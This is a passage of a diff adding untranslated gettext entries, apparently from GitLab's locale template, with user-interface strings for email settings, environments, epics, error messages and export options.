+msgstr ""
+
+msgid "Emails sent from Service Desk have this name."
+msgstr ""
+
+msgid "Emails sent to %{email} are also supported."
+msgstr ""
+
+msgid "Emails separated by comma"
+msgstr ""
+
+msgid "EmailsOnPushService|Disable code diffs"
+msgstr ""
+
+msgid "EmailsOnPushService|Don't include possibly sensitive code diffs in notification body."
+msgstr ""
+
+msgid "EmailsOnPushService|Email the commits and diff of each push to a list of recipients."
+msgstr ""
+
+msgid "EmailsOnPushService|Emails on push"
+msgstr ""
+
+msgid "EmailsOnPushService|Emails separated by whitespace"
+msgstr ""
+
+msgid "EmailsOnPushService|Send from committer"
+msgstr ""
+
+msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain is part of the domain GitLab is running on (e.g. %{domains})."
+msgstr ""
+
+msgid "Embed"
+msgstr ""
+
+msgid "Empty file"
+msgstr ""
+
+msgid "Enable"
+msgstr ""
+
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgstr ""
+
+msgid "Enable Auto DevOps"
+msgstr ""
+
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
+msgid "Enable Gitpod"
+msgstr ""
+
+msgid "Enable Gitpod?"
+msgstr ""
+
+msgid "Enable HTML emails"
+msgstr ""
+
+msgid "Enable Incident Management inbound alert limit"
+msgstr ""
+
+msgid "Enable Invisible Captcha during sign up"
+msgstr ""
+
+msgid "Enable Kroki"
+msgstr ""
+
+msgid "Enable PlantUML"
+msgstr ""
+
+msgid "Enable Pseudonymizer data collection"
+msgstr ""
+
+msgid "Enable Repository Checks"
+msgstr ""
+
+msgid "Enable SSL verification"
+msgstr ""
+
+msgid "Enable Seat Link"
+msgstr ""
+
+msgid "Enable Spam Check via external API endpoint"
+msgstr ""
+
+msgid "Enable access to Grafana"
+msgstr ""
+
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
+msgid "Enable access to the Performance Bar for a given group."
+msgstr ""
+
+msgid "Enable and configure Grafana."
+msgstr ""
+
+msgid "Enable and configure Prometheus metrics."
+msgstr ""
+
+msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
+msgid "Enable classification control using an external service"
+msgstr ""
+
+msgid "Enable container expiration and retention policies for projects created earlier than GitLab 12.7."
+msgstr ""
+
+msgid "Enable email restrictions for sign ups"
+msgstr ""
+
+msgid "Enable error tracking"
+msgstr ""
+
+msgid "Enable feature to choose access level"
+msgstr ""
+
+msgid "Enable for this project"
+msgstr ""
+
+msgid "Enable group runners"
+msgstr ""
+
+msgid "Enable header and footer in emails"
+msgstr ""
+
+msgid "Enable in-product marketing emails"
+msgstr ""
+
+msgid "Enable integration"
+msgstr ""
+
+msgid "Enable kuromoji custom analyzer: Indexing"
+msgstr ""
+
+msgid "Enable kuromoji custom analyzer: Search"
+msgstr ""
+
+msgid "Enable maintenance mode"
+msgstr ""
+
+msgid "Enable mirror configuration"
+msgstr ""
+
+msgid "Enable or disable Seat Link."
+msgstr ""
+
+msgid "Enable or disable keyboard shortcuts"
+msgstr ""
+
+msgid "Enable or disable the Pseudonymizer data collection."
+msgstr ""
+
+msgid "Enable or disable version check and usage ping."
+msgstr ""
+
+msgid "Enable protected paths rate limit"
+msgstr ""
+
+msgid "Enable proxy"
+msgstr ""
+
+msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
+msgstr ""
+
+msgid "Enable shared runners"
+msgstr ""
+
+msgid "Enable shared runners for all projects and subgroups in this group."
+msgstr ""
+
+msgid "Enable shared runners for this group"
+msgstr ""
+
+msgid "Enable shared runners for this project"
+msgstr ""
+
+msgid "Enable smartcn custom analyzer: Indexing"
+msgstr ""
+
+msgid "Enable smartcn custom analyzer: Search"
+msgstr ""
+
+msgid "Enable snowplow tracking"
+msgstr ""
+
+msgid "Enable two-factor authentication"
+msgstr ""
+
+msgid "Enable usage ping"
+msgstr ""
+
+msgid "EnableReviewApp|%{stepStart}Step 1%{stepEnd}. Ensure you have Kubernetes set up and have a base domain for your %{linkStart}cluster%{linkEnd}."
+msgstr ""
+
+msgid "EnableReviewApp|%{stepStart}Step 2%{stepEnd}. Copy the following snippet:"
+msgstr ""
+
+msgid "EnableReviewApp|%{stepStart}Step 3%{stepEnd}. Add it to the project %{linkStart}gitlab-ci.yml%{linkEnd} file."
+msgstr ""
+
+msgid "EnableReviewApp|Close"
+msgstr ""
+
+msgid "EnableReviewApp|Copy snippet text"
+msgstr ""
+
+msgid "Enabled"
+msgstr ""
+
+msgid "Enabled Git access protocols"
+msgstr ""
+
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
+msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
+msgstr ""
+
+msgid "Enabling this will only make licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public."
+msgstr ""
+
+msgid "Encountered an error while rendering: %{err}"
+msgstr ""
+
+msgid "End Time"
+msgstr ""
+
+msgid "Ends at (UTC)"
+msgstr ""
+
+msgid "Ends on"
+msgstr ""
+
+msgid "Ends: %{endsAt}"
+msgstr ""
+
+msgid "Enforce DNS rebinding attack protection"
+msgstr ""
+
+msgid "Enforce SSH key expiration"
+msgstr ""
+
+msgid "Enforce personal access token expiration"
+msgstr ""
+
+msgid "Ensure connectivity is available from the GitLab server to the Prometheus server"
+msgstr ""
+
+msgid "Ensure your %{linkStart}environment is part of the deploy stage%{linkEnd} of your CI pipeline to track deployments to your cluster."
+msgstr ""
+
+msgid "Enter 2FA for Admin Mode"
+msgstr ""
+
+msgid "Enter Admin Mode"
+msgstr ""
+
+msgid "Enter IP address range"
+msgstr ""
+
+msgid "Enter a number"
+msgstr ""
+
+msgid "Enter an integer number between 0 and 100"
+msgstr ""
+
+msgid "Enter an integer number number between 0 and 100"
+msgstr ""
+
+msgid "Enter at least three characters to search"
+msgstr ""
+
+msgid "Enter domain"
+msgstr ""
+
+msgid "Enter in your Bitbucket Server URL and personal access token below"
+msgstr ""
+
+msgid "Enter in your Phabricator Server URL and personal access token below"
+msgstr ""
+
+msgid "Enter merge request URLs"
+msgstr ""
+
+msgid "Enter new AWS Secret Access Key"
+msgstr ""
+
+msgid "Enter number of issues"
+msgstr ""
+
+msgid "Enter one or more user ID separated by commas"
+msgstr ""
+
+msgid "Enter the %{name} description"
+msgstr ""
+
+msgid "Enter the %{name} title"
+msgstr ""
+
+msgid "Enter the code from the two-factor app on your mobile device. If you've lost your device, you may enter one of your recovery codes."
+msgstr ""
+
+msgid "Enter the name of your application, and we'll return a unique %{type}."
+msgstr ""
+
+msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Enter weights for storages for new repositories."
+msgstr ""
+
+msgid "Enter your password to approve"
+msgstr ""
+
+msgid "Environment"
+msgstr ""
+
+msgid "Environment does not have deployments"
+msgstr ""
+
+msgid "Environment is required for Stages::MetricEndpointInserter"
+msgstr ""
+
+msgid "Environment is required for Stages::VariableEndpointInserter"
+msgstr ""
+
+msgid "Environment scope"
+msgstr ""
+
+msgid "Environment variables are configured by your administrator to be %{link_start}protected%{link_end} by default."
+msgstr ""
+
+msgid "Environment variables on this GitLab instance are configured to be %{link_start}protected%{link_end} by default."
+msgstr ""
+
+msgid "Environment:"
+msgstr ""
+
+msgid "EnvironmentDashboard|API"
+msgstr ""
+
+msgid "EnvironmentDashboard|Created through the Deployment API"
+msgstr ""
+
+msgid "EnvironmentDashboard|You are looking at the last updated environment"
+msgstr ""
+
+msgid "Environments"
+msgstr ""
+
+msgid "Environments Dashboard"
+msgstr ""
+
+msgid "Environments allow you to track deployments of your application %{link_to_read_more}."
+msgstr ""
+
+msgid "Environments in %{name}"
+msgstr ""
+
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
+msgid "EnvironmentsDashboard|Add a project to the dashboard"
+msgstr ""
+
+msgid "EnvironmentsDashboard|Add projects"
+msgstr ""
+
+msgid "EnvironmentsDashboard|Environments Dashboard"
+msgstr ""
+
+msgid "EnvironmentsDashboard|Job: %{job}"
+msgstr ""
+
+msgid "EnvironmentsDashboard|More actions"
+msgstr ""
+
+msgid "EnvironmentsDashboard|More information"
+msgstr ""
+
+msgid "EnvironmentsDashboard|Remove"
+msgstr ""
+
+msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
+msgstr ""
+
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgstr ""
+
+msgid "Environments|An error occurred while canceling the auto stop, please try again"
+msgstr ""
+
+msgid "Environments|An error occurred while deleting the environment. Check if the environment stopped; if not, stop it and try again."
+msgstr ""
+
+msgid "Environments|An error occurred while fetching the environments."
+msgstr ""
+
+msgid "Environments|An error occurred while making the request."
+msgstr ""
+
+msgid "Environments|An error occurred while re-deploying the environment, please try again"
+msgstr ""
+
+msgid "Environments|An error occurred while rolling back the environment, please try again"
+msgstr ""
+
+msgid "Environments|An error occurred while stopping the environment, please try again"
+msgstr ""
+
+msgid "Environments|Are you sure you want to stop this environment?"
+msgstr ""
+
+msgid "Environments|Auto stop in"
+msgstr ""
+
+msgid "Environments|Auto stops %{auto_stop_time}"
+msgstr ""
+
+msgid "Environments|Commit"
+msgstr ""
+
+msgid "Environments|Currently showing %{fetched} results."
+msgstr ""
+
+msgid "Environments|Currently showing all results."
+msgstr ""
+
+msgid "Environments|Delete"
+msgstr ""
+
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
+msgid "Environments|Delete environment"
+msgstr ""
+
+msgid "Environments|Deleting the '%{environmentName}' environment cannot be undone. Do you want to delete it anyway?"
+msgstr ""
+
+msgid "Environments|Deploy to..."
+msgstr ""
+
+msgid "Environments|Deployment"
+msgstr ""
+
+msgid "Environments|Deployment %{status}"
+msgstr ""
+
+msgid "Environments|Enable review app"
+msgstr ""
+
+msgid "Environments|Environment"
+msgstr ""
+
+msgid "Environments|Environments"
+msgstr ""
+
+msgid "Environments|Environments are places where code gets deployed, such as staging or production."
+msgstr ""
+
+msgid "Environments|Install Elastic Stack on your cluster to enable advanced querying capabilities such as full text search."
+msgstr ""
+
+msgid "Environments|Job"
+msgstr ""
+
+msgid "Environments|Learn about environments"
+msgstr ""
+
+msgid "Environments|Learn more about stopping environments"
+msgstr ""
+
+msgid "Environments|Logs from %{start} to %{end}."
+msgstr ""
+
+msgid "Environments|Managed apps"
+msgstr ""
+
+msgid "Environments|More information"
+msgstr ""
+
+msgid "Environments|New environment"
+msgstr ""
+
+msgid "Environments|No deployed environments"
+msgstr ""
+
+msgid "Environments|No deployments yet"
+msgstr ""
+
+msgid "Environments|No pod selected"
+msgstr ""
+
+msgid "Environments|No pods to display"
+msgstr ""
+
+msgid "Environments|Note that this action will stop the environment, but it will %{emphasisStart}not%{emphasisEnd} have an effect on any existing deployment due to no “stop environment action†being defined in the %{ciConfigLinkStart}.gitlab-ci.yml%{ciConfigLinkEnd} file."
+msgstr ""
+
+msgid "Environments|Note that this action will stop the environment, but it will %{emphasis_start}not%{emphasis_end} have an effect on any existing deployment due to no “stop environment action†being defined in the %{ci_config_link_start}.gitlab-ci.yml%{ci_config_link_end} file."
+msgstr ""
+
+msgid "Environments|Open live environment"
+msgstr ""
+
+msgid "Environments|Pod name"
+msgstr ""
+
+msgid "Environments|Re-deploy"
+msgstr ""
+
+msgid "Environments|Re-deploy environment %{environment_name}?"
+msgstr ""
+
+msgid "Environments|Re-deploy environment %{name}?"
+msgstr ""
+
+msgid "Environments|Re-deploy to environment"
+msgstr ""
+
+msgid "Environments|Rollback"
+msgstr ""
+
+msgid "Environments|Rollback environment"
+msgstr ""
+
+msgid "Environments|Rollback environment %{environment_name}?"
+msgstr ""
+
+msgid "Environments|Rollback environment %{name}?"
+msgstr ""
+
+msgid "Environments|Select pod"
+msgstr ""
+
+msgid "Environments|Show all"
+msgstr ""
+
+msgid "Environments|Stop"
+msgstr ""
+
+msgid "Environments|Stop environment"
+msgstr ""
+
+msgid "Environments|Stopping"
+msgstr ""
+
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
+msgid "Environments|There was an error fetching the logs. Please try again."
+msgstr ""
+
+msgid "Environments|This action will relaunch the job for commit %{commit_id}, putting the environment in a previous version. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Environments|This action will relaunch the job for commit %{linkStart}%{commitId}%{linkEnd}, putting the environment in a previous version. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Environments|This action will run the job defined by %{environment_name} for commit %{commit_id}, putting the environment in a previous version. You can revert it by re-deploying the latest version of your application. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Environments|This action will run the job defined by %{name} for commit %{linkStart}%{commitId}%{linkEnd} putting the environment in a previous version. You can revert it by re-deploying the latest version of your application. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Environments|Upcoming"
+msgstr ""
+
+msgid "Environments|Upcoming deployment"
+msgstr ""
+
+msgid "Environments|Updated"
+msgstr ""
+
+msgid "Environments|You don't have any environments right now"
+msgstr ""
+
+msgid "Environments|protected"
+msgstr ""
+
+msgid "Epic"
+msgstr ""
+
+msgid "Epic Boards"
+msgstr ""
+
+msgid "Epic cannot be found."
+msgstr ""
+
+msgid "Epic events"
+msgstr ""
+
+msgid "Epic not found for given params"
+msgstr ""
+
+msgid "Epics"
+msgstr ""
+
+msgid "Epics Roadmap"
+msgstr ""
+
+msgid "Epics and Issues"
+msgstr ""
+
+msgid "Epics let you manage your portfolio of projects more efficiently and with less effort"
+msgstr ""
+
+msgid "Epics, Issues, and Merge Requests"
+msgstr ""
+
+msgid "Epics|%{startDate} – %{dueDate}"
+msgstr ""
+
+msgid "Epics|%{startDate} – No due date"
+msgstr ""
+
+msgid "Epics|Add a new epic"
+msgstr ""
+
+msgid "Epics|Add an existing epic"
+msgstr ""
+
+msgid "Epics|An error occurred while saving the %{epicDateType} date"
+msgstr ""
+
+msgid "Epics|An error occurred while updating labels."
+msgstr ""
+
+msgid "Epics|Are you sure you want to remove %{bStart}%{targetIssueTitle}%{bEnd} from %{bStart}%{parentEpicTitle}%{bEnd}?"
+msgstr ""
+
+msgid "Epics|Assign Epic"
+msgstr ""
+
+msgid "Epics|Enter a title for your epic"
+msgstr ""
+
+msgid "Epics|How can I solve this?"
+msgstr ""
+
+msgid "Epics|Leave empty to inherit from milestone dates"
+msgstr ""
+
+msgid "Epics|No start date – %{dueDate}"
+msgstr ""
+
+msgid "Epics|Remove epic"
+msgstr ""
+
+msgid "Epics|Remove issue"
+msgstr ""
+
+msgid "Epics|Search epics"
+msgstr ""
+
+msgid "Epics|Select epic"
+msgstr ""
+
+msgid "Epics|Show more"
+msgstr ""
+
+msgid "Epics|Something went wrong while assigning issue to epic."
+msgstr ""
+
+msgid "Epics|Something went wrong while creating child epics."
+msgstr ""
+
+msgid "Epics|Something went wrong while creating issue."
+msgstr ""
+
+msgid "Epics|Something went wrong while fetching child epics."
+msgstr ""
+
+msgid "Epics|Something went wrong while fetching epics list."
+msgstr ""
+
+msgid "Epics|Something went wrong while fetching group epics."
+msgstr ""
+
+msgid "Epics|Something went wrong while moving item."
+msgstr ""
+
+msgid "Epics|Something went wrong while ordering item."
+msgstr ""
+
+msgid "Epics|Something went wrong while removing issue from epic."
+msgstr ""
+
+msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
+msgstr ""
+
+msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
+msgid "Epics|This will also remove any descendents of %{bStart}%{targetEpicTitle}%{bEnd} from %{bStart}%{parentEpicTitle}%{bEnd}. Are you sure?"
+msgstr ""
+
+msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
+msgstr ""
+
+msgid "Epics|Unable to save epic. Please try again"
+msgstr ""
+
+msgid "Epics|due"
+msgstr ""
+
+msgid "Epics|start"
+msgstr ""
+
+msgid "Error"
+msgstr ""
+
+msgid "Error Details"
+msgstr ""
+
+msgid "Error Tracking"
+msgstr ""
+
+msgid "Error creating epic"
+msgstr ""
+
+msgid "Error creating label."
+msgstr ""
+
+msgid "Error creating new iteration"
+msgstr ""
+
+msgid "Error creating repository for snippet with id %{snippet_id}"
+msgstr ""
+
+msgid "Error creating the snippet"
+msgstr ""
+
+msgid "Error deleting %{issuableType}"
+msgstr ""
+
+msgid "Error deleting project. Check logs for error details."
+msgstr ""
+
+msgid "Error fetching burnup chart data"
+msgstr ""
+
+msgid "Error fetching diverging counts for branches. Please try again."
+msgstr ""
+
+msgid "Error fetching forked projects. Please try again."
+msgstr ""
+
+msgid "Error fetching labels."
+msgstr ""
+
+msgid "Error fetching network graph."
+msgstr ""
+
+msgid "Error fetching payload data."
+msgstr ""
+
+msgid "Error fetching refs"
+msgstr ""
+
+msgid "Error fetching the dependency list. Please check your network connection and try again."
+msgstr ""
+
+msgid "Error loading branch data. Please try again."
+msgstr ""
+
+msgid "Error loading branches."
+msgstr ""
+
+msgid "Error loading burndown chart data"
+msgstr ""
+
+msgid "Error loading countries data."
+msgstr ""
+
+msgid "Error loading file viewer."
+msgstr ""
+
+msgid "Error loading issues"
+msgstr ""
+
+msgid "Error loading iterations"
+msgstr ""
+
+msgid "Error loading last commit."
+msgstr ""
+
+msgid "Error loading markdown preview"
+msgstr ""
+
+msgid "Error loading merge requests."
+msgstr ""
+
+msgid "Error loading milestone tab"
+msgstr ""
+
+msgid "Error loading project data. Please try again."
+msgstr ""
+
+msgid "Error loading template types."
+msgstr ""
+
+msgid "Error loading template."
+msgstr ""
+
+msgid "Error loading viewer"
+msgstr ""
+
+msgid "Error occurred when fetching sidebar data"
+msgstr ""
+
+msgid "Error occurred when saving assignees"
+msgstr ""
+
+msgid "Error occurred when saving reviewers"
+msgstr ""
+
+msgid "Error occurred when toggling the notification subscription"
+msgstr ""
+
+msgid "Error occurred while updating the issue status"
+msgstr ""
+
+msgid "Error occurred while updating the issue weight"
+msgstr ""
+
+msgid "Error occurred. A blocked user cannot be deactivated"
+msgstr ""
+
+msgid "Error occurred. A blocked user must be unblocked to be activated"
+msgstr ""
+
+msgid "Error occurred. User was not blocked"
+msgstr ""
+
+msgid "Error occurred. User was not confirmed"
+msgstr ""
+
+msgid "Error occurred. User was not unblocked"
+msgstr ""
+
+msgid "Error occurred. User was not unlocked"
+msgstr ""
+
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
+msgid "Error rendering markdown preview"
+msgstr ""
+
+msgid "Error saving label update."
+msgstr ""
+
+msgid "Error setting up editor. Please try again."
+msgstr ""
+
+msgid "Error tracking"
+msgstr ""
+
+msgid "Error updating %{issuableType}"
+msgstr ""
+
+msgid "Error updating status for all to-do items."
+msgstr ""
+
+msgid "Error updating status of to-do item."
+msgstr ""
+
+msgid "Error updating the snippet"
+msgstr ""
+
+msgid "Error uploading file"
+msgstr ""
+
+msgid "Error uploading file. Please try again."
+msgstr ""
+
+msgid "Error uploading file: %{stripped}"
+msgstr ""
+
+msgid "Error while loading the merge request. Please try again."
+msgstr ""
+
+msgid "Error while loading the project data. Please try again."
+msgstr ""
+
+msgid "Error while migrating %{upload_id}: %{error_message}"
+msgstr ""
+
+msgid "Error with Akismet. Please check the logs for more info."
+msgstr ""
+
+msgid "Error: %{error_message}"
+msgstr ""
+
+msgid "Error: No AWS credentials were supplied"
+msgstr ""
+
+msgid "Error: No AWS provision role found for user"
+msgstr ""
+
+msgid "Error: Unable to create deploy freeze"
+msgstr ""
+
+msgid "Error: Unable to find AWS role for current user"
+msgstr ""
+
+msgid "ErrorTracking|Active"
+msgstr ""
+
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
+msgstr ""
+
+msgid "ErrorTracking|Auth Token"
+msgstr ""
+
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
+msgstr ""
+
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
+msgstr ""
+
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
+msgstr ""
+
+msgid "ErrorTracking|No projects available"
+msgstr ""
+
+msgid "ErrorTracking|Select project"
+msgstr ""
+
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
+msgstr ""
+
+msgid "Errors"
+msgstr ""
+
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
+msgid "Errors:"
+msgstr ""
+
+msgid "Estimate"
+msgstr ""
+
+msgid "Estimated"
+msgstr ""
+
+msgid "EventFilterBy|Filter by all"
+msgstr ""
+
+msgid "EventFilterBy|Filter by comments"
+msgstr ""
+
+msgid "EventFilterBy|Filter by designs"
+msgstr ""
+
+msgid "EventFilterBy|Filter by epic events"
+msgstr ""
+
+msgid "EventFilterBy|Filter by issue events"
+msgstr ""
+
+msgid "EventFilterBy|Filter by merge events"
+msgstr ""
+
+msgid "EventFilterBy|Filter by push events"
+msgstr ""
+
+msgid "EventFilterBy|Filter by team"
+msgstr ""
+
+msgid "EventFilterBy|Filter by wiki"
+msgstr ""
+
+msgid "Events"
+msgstr ""
+
+msgid "Events in %{project_path}"
+msgstr ""
+
+msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
+msgstr ""
+
+msgid "Every day"
+msgstr ""
+
+msgid "Every day (at %{time})"
+msgstr ""
+
+msgid "Every month"
+msgstr ""
+
+msgid "Every month (Day %{day} at %{time})"
+msgstr ""
+
+msgid "Every three months"
+msgstr ""
+
+msgid "Every two weeks"
+msgstr ""
+
+msgid "Every week"
+msgstr ""
+
+msgid "Every week (%{weekday} at %{time})"
+msgstr ""
+
+msgid "Everyone"
+msgstr ""
+
+msgid "Everyone With Access"
+msgstr ""
+
+msgid "Everyone can contribute"
+msgstr ""
+
+msgid "Everything on your to-do list is marked as done."
+msgstr ""
+
+msgid "Everything you need to create a GitLab Pages site using Gatsby"
+msgstr ""
+
+msgid "Everything you need to create a GitLab Pages site using GitBook"
+msgstr ""
+
+msgid "Everything you need to create a GitLab Pages site using Hexo"
+msgstr ""
+
+msgid "Everything you need to create a GitLab Pages site using Hugo"
+msgstr ""
+
+msgid "Everything you need to create a GitLab Pages site using Jekyll"
+msgstr ""
+
+msgid "Everything you need to create a GitLab Pages site using plain HTML"
+msgstr ""
+
+msgid "Evidence collection"
+msgstr ""
+
+msgid "Exactly one of %{attributes} is required"
+msgstr ""
+
+msgid "Example: %{ip_address}. %{read_more_link}."
+msgstr ""
+
+msgid "Example: @sub\\.company\\.com$"
+msgstr ""
+
+msgid "Example: Usage = single query. (Requested) / (Capacity) = multiple queries combined into a formula."
+msgstr ""
+
+msgid "Except policy:"
+msgstr ""
+
+msgid "Exceptions"
+msgstr ""
+
+msgid "Excess storage"
+msgstr ""
+
+msgid "Excluding merge commits. Limited to %{limit} commits."
+msgstr ""
+
+msgid "Excluding merge commits. Limited to 6,000 commits."
+msgstr ""
+
+msgid "Execution time"
+msgstr ""
+
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
+msgid "Existing projects may be moved into a group"
+msgstr ""
+
+msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
+msgstr ""
+
+msgid "Existing sign in methods may be removed"
+msgstr ""
+
+msgid "Expand"
+msgstr ""
+
+msgid "Expand all"
+msgstr ""
+
+msgid "Expand all files"
+msgstr ""
+
+msgid "Expand all threads"
+msgstr ""
+
+msgid "Expand approvers"
+msgstr ""
+
+msgid "Expand file"
+msgstr ""
+
+msgid "Expand issues"
+msgstr ""
+
+msgid "Expand milestones"
+msgstr ""
+
+msgid "Expand panel"
+msgstr ""
+
+msgid "Expand sidebar"
+msgstr ""
+
+msgid "Expected documents: %{expected_documents}"
+msgstr ""
+
+msgid "Experienced"
+msgstr ""
+
+msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgstr ""
+
+msgid "Expiration"
+msgstr ""
+
+msgid "Expiration date"
+msgstr ""
+
+msgid "Expired"
+msgstr ""
+
+msgid "Expired %{expiredOn}"
+msgstr ""
+
+msgid "Expired:"
+msgstr ""
+
+msgid "Expires"
+msgstr ""
+
+msgid "Expires at"
+msgstr ""
+
+msgid "Expires at (optional)"
+msgstr ""
+
+msgid "Expires in %{expires_at}"
+msgstr ""
+
+msgid "Expires on"
+msgstr ""
+
+msgid "Expires:"
+msgstr ""
+
+msgid "Explain the problem. If appropriate, provide a link to the relevant issue or comment."
+msgstr ""
+
+msgid "Explore"
+msgstr ""
+
+msgid "Explore GitLab"
+msgstr ""
+
+msgid "Explore Groups"
+msgstr ""
+
+msgid "Explore groups"
+msgstr ""
+
+msgid "Explore projects"
+msgstr ""
+
+msgid "Explore public groups"
+msgstr ""
+
+msgid "Export"
+msgstr ""
+
+msgid "Export %{name}"
+msgstr ""
+
+msgid "Export %{requirementsCount} requirements?"
+msgstr ""
+
+msgid "Export as CSV"
+msgstr ""
+
+msgid "Export commit custody report"
+msgstr ""
+
+msgid "Export group"
+msgstr ""
+
+msgid "Export project"
+msgstr ""
+
+msgid "Export requirements"
+msgstr ""
+
+msgid "Export this group with all related data to a new GitLab instance. Once complete, you can import the data file from the \"New Group\" page."
+msgstr ""
+
+msgid "Export this project with all its related data in order to move it to a new GitLab instance. When the exported file is ready, you can download it from this page or from the download link in the email notification you will receive. You can then import it when creating a new project. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
+msgid "Export variable to pipelines running on protected branches and tags only."
+msgstr ""
+
+msgid "Exported requirements"
+msgstr ""
+
+msgid "External Classification Policy Authorization"
+msgstr ""
+
+msgid "External ID"
+msgstr ""
+
+msgid "External URL"
+msgstr ""
+
+msgid "External authentication"
+msgstr ""
+
+msgid "External authorization denied access to this project"
+msgstr ""
+
+msgid "External authorization request timeout"
+msgstr ""
+
+msgid "External storage URL"
+msgstr ""
+
+msgid "External storage authentication token"
+msgstr ""
+
+msgid "ExternalAuthorizationService|Classification label"
+msgstr ""
+
+msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
+msgstr ""
+
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
+msgstr ""
+
+msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
+msgstr ""
+
+msgid "ExternalWikiService|The URL of the external wiki"
+msgstr ""
+
+msgid "Facebook"
+msgstr ""
+
+msgid "Failed"
+msgstr ""
+
+msgid "Failed Jobs"
+msgstr ""
+
+msgid "Failed on"
+msgstr ""
+
+msgid "Failed to add a Zoom meeting"
+msgstr ""
+
+msgid "Failed to apply commands."
+msgstr ""
+
+msgid "Failed to assign a reviewer because no user was found."
+msgstr ""
+
+msgid "Failed to assign a user because no user was found."
+msgstr ""
+
+msgid "Failed to cancel auto stop because failed to update the environment."
+msgstr ""
+
+msgid "Failed to cancel auto stop because the environment is not set as auto stop."
+msgstr ""
+
+msgid "Failed to cancel auto stop because you do not have permission to update the environment."
+msgstr ""
+
+msgid "Failed to change the owner"
+msgstr ""
+
+msgid "Failed to check related branches."
+msgstr ""
+
+msgid "Failed to clone this issue because target project doesn't exist."
+msgstr ""
+
+msgid "Failed to clone this issue: wrong parameters."
+msgstr ""
+
+msgid "Failed to create Merge Request. Please try again."
+msgstr ""
+
+msgid "Failed to create a branch for this issue. Please try again."
+msgstr ""
+
+msgid "Failed to create a to-do item for the design."
+msgstr ""
+
+msgid "Failed to create framework"
+msgstr ""
+
+msgid "Failed to create import label for jira import."
+msgstr ""
+
+msgid "Failed to create new project access token: %{token_response_message}"
+msgstr ""
+
+msgid "Failed to create repository"
+msgstr ""
+
+msgid "Failed to create resources"
+msgstr ""
+
+msgid "Failed to create wiki"
+msgstr ""
+
+msgid "Failed to deploy to"
+msgstr ""
+
+msgid "Failed to enqueue the rebase operation, possibly due to a long-lived transaction. Try again later."
+msgstr ""
+
+msgid "Failed to fetch the iteration for this issue. Please try again."
+msgstr ""
+
+msgid "Failed to fetch the iterations for the group. Please try again."
+msgstr ""
+
+msgid "Failed to find import label for Jira import."
+msgstr ""
+
+msgid "Failed to generate report, please try again after sometime"
+msgstr ""
+
+msgid "Failed to get ref."
+msgstr ""
+
+msgid "Failed to install."
+msgstr ""
+
+msgid "Failed to load assignees."
+msgstr ""
+
+msgid "Failed to load assignees. Please try again."
+msgstr ""
+
+msgid "Failed to load authors. Please try again."
+msgstr ""
+
+msgid "Failed to load branches. Please try again."
+msgstr ""
+
+msgid "Failed to load deploy keys."
+msgstr ""
+
+msgid "Failed to load emoji list."
+msgstr ""
+
+msgid "Failed to load error details from Sentry."
+msgstr ""
+
+msgid "Failed to load errors from Sentry."
+msgstr ""
+
+msgid "Failed to load group activity metrics. Please try again."
+msgstr ""
+
+msgid "Failed to load groups, users and deploy keys."
+msgstr ""
+
+msgid "Failed to load iterations."
+msgstr ""
+
+msgid "Failed to load labels. Please try again."
+msgstr ""
+
+msgid "Failed to load milestones."
+msgstr ""
+
+msgid "Failed to load milestones. Please try again."
+msgstr ""
+
+msgid "Failed to load projects"
+msgstr ""
+
+msgid "Failed to load related branches"
+msgstr ""
+
+msgid "Failed to load sidebar lock status"
+msgstr ""
+
+msgid "Failed to load stacktrace."
+msgstr ""
+
